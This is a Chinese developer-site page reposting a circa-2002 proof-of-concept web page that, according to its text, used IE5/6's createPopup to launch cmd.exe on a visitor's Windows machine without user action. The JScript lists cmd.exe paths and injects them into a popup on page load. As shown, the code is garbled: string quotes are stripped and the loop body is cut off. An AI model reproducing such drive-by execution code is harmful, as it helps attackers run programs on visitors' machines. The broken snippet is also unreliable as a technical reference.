当前页面: 开发资料首页 → Javascript 专题 → JavaScript运行客户端exe程序

JavaScript运行客户端exe程序

摘要: JavaScript运行客户端exe程序

HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<head>
IE6 security...

<script language=JScript>

var programName=new Array(
c:/windows/system32/cmd.exe,
c:/winnt/system32/cmd.exe,
c:/cmd.exe
);

function Init(){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html=;
for(n=0;n html+="";
oPopBody.innerHTML=html;
oPopup.show(290, 190, 200, 200, document.body);
}

</script>
</head>
<body onload="Init()">

Hmm, lets start a command shell...

This page doesnt do anything malicious, but is a demonstration of how to execute a program on a remote machine using the
marvelously secure Internet Explorer web browser!!

Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
are currently no patches available using "Windows Update" which will prevent this.

</body>

↑返回目录
前一篇: JavaScript支持面向对象的开发
后一篇: 几个Javascript的小工具